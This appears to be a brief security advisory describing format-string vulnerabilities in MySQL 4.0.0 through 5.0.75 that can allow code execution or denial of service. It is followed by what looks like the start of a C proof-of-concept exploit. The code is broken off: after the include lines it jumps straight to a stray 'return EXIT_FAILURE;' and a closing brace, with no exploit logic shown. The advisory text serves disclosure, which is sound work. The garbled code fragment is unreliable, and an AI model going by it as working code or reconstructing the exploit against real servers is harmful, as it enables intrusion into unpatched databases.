MySQL is prone to multiple format-string vulnerabilities.

Attackers can leverage these issues to execute arbitrary code within the context of the vulnerable application. Failed attacks will likely cause denial-of-service conditions.

MySQL 4.0.0 through 5.0.75 are vulnerable; other versions may also be affected. 

#include <stdlib.h>
#include <stdio.h>

#define USE_OLD_FUNCTIONS
#include <mysql/mysql.h>

      return EXIT_FAILURE;
    }
